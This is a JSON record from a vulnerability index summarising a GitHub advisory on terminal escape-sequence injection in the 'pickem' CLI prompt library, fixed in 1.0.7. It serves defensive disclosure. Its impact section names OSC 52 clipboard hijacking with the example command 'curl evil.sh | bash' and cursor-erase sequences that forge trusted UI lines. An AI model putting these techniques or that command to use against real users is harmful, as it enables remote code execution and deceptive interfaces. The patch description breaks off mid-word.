{"items":[{"id":"NVI-00013802","kind":"vulnerability","title":"pickem vulnerable to terminal escape-sequence injection via unsanitized item text","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-8qx3-8gm5-9cj2"],"plain_summary":"GitHub lists this reviewed advisory for pickem. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-06f88f99915dceba638ad817cdeeae11"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-06f88f99915dceba638ad817cdeeae11","url":"https://github.com/advisories/GHSA-8qx3-8gm5-9cj2","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-8qx3-8gm5-9cj2","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T09:56:37.775Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-06f88f99915dceba638ad817cdeeae11"],"technology":"pickem","known_exclusions":[],"conditions_summary":"### Impact\npickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.\n\nBecause item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:\n\n- **OSC 52 clipboard write** — silently load e.g. `curl evil.sh | bash` into the user's clipboard; their next paste-into-shell is RCE.\n- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) — overwrite already-printed trusted lines to spoof UI (forge a \"✓ Verified publisher\", fake prompt, or hide a malicious entry).\n- **BEL / C0 control flooding.**\n\nAny CLI that passes untrusted strings into pickem choices is affected.\n\n### Patches\nFixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkb","public_affected_ranges":["< 1.0.7"]}],"null_published_at":"2026-11-02T10:00:37.152Z","source_updated_at":"2026-08-25T15:59:12.000Z","source_disclosed_at":"2026-08-25T15:59:11.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-02T09:56:37.775Z"}],"next_cursor":null,"snapshot_revision":"42594"}